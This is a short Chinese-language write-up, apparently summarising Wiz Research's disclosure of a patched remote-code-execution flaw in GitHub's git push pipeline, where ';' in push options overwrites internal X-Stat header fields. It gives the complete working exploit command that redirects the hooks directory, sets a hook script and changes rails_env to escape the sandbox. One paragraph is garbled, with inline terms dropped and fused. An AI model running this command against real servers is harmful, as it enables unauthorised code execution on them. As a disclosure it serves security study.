关于 Wiz Research 在 GitHub.com 和 GitHub Enterprise Server 的内部 git push 管道中发现该漏洞的实用摘要。
本材料仅供教育和进攻性安全研究之用。 该漏洞已在所有受支持的版本中被 GitHub 修复。 请勿尝试针对非您所有或未经您书面明确授权的环境进行复现。未经授权访问系统在巴西属于犯罪行为(第 12.737/2012 号法律,即 Carolina Dieckmann 法),可能构成计算机设备入侵罪,可判处拘留。
已认证的攻击者通过发送 ; 在 git push -o 中即可在 GitHub 上实现 RCE。babeld(GitHub 的内部代理,所有 SSH 的入口点)未对 ; 进行清理,导致其破坏了内部 X-Stat 头,覆盖了 gitrpcd 盲目信任的安全字段。通过 3 次覆盖(rails_env、custom_hooks_dir、repo_pre_receive_hooks),pre-receive 钩子会拼接并执行服务器上以 git 用户身份运行的任意二进制文件。
基本上,我们之所以能够写入 X-Stat 头,是因为 中没有对 进行清理,我们通过将其指向目标服务器上的某个路径(例如 )来实现,然后我们就能与该头的另一个“字段” 进行拼接。这样,如果该字段是 ,拼接后就会变成 + ,并直接在服务器上执行。
git push;/binrepo_pre_receive_hookswhoami/bin/whoami但默认情况下,X-Stat 中的这些字段已经由 babeld 预先填好了,因为 RPC(gitrpcd)盲目信任它来读取,认为用户无法修改:
以下是 babeld 如何填充 X-Stats 字段的示例:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
但由于它在 git push 期间未对 ; 进行清理,你可以直接写入其中,而且锦上添花的是它是后写优先的,最后一次写入才有效。所以如果我执行:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
被覆盖的字段变成:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(实际上并不像上面示例中那样简单,只是直接放入 whoami。它实际上是一个 JSON,所以会更像 [{"script":"whoami"}]。)
然后,在易受攻击的版本中,它会在服务器上执行 whoami 二进制文件。
但仅此而已的话,它仍然只会在沙箱中运行。因此,修改 X-Stats 头中的另一个参数 rails_env=production 非常重要。它需要是任何不是 production 的值。
最后,恶意脚本将如下所示:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"